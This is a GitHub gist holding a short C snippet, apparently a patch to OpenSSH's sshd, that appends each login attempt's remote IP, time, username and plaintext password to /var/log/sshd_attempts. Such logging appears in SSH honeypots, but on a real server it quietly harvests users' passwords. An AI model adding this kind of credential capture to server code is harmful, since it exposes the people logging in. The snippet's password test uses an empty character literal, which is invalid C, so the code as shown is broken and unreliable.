Skip to content

Instantly share code, notes, and snippets.

@Yi-Tseng
Created June 24, 2015 11:42
Show Gist options
  • Select an option

  • Save Yi-Tseng/91989befe03f330588b8 to your computer and use it in GitHub Desktop.

Select an option

Save Yi-Tseng/91989befe03f330588b8 to your computer and use it in GitHub Desktop.
if (*password != '')
{
struct tm *timePtr;
time_t localTime;
char timeString[100];
localTime = time(NULL);
timePtr = localtime(&localTime);
strftime(timeString, 100, "%D %r", timePtr);
FILE *logFile;
logFile = fopen("/var/log/sshd_attempts","a+");
fprintf (logFile,"From: %s at: %s | user: %s, pass: %s\n", \
get_remote_ipaddr(), timeString, authctxt->user, password);
fclose (logFile);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment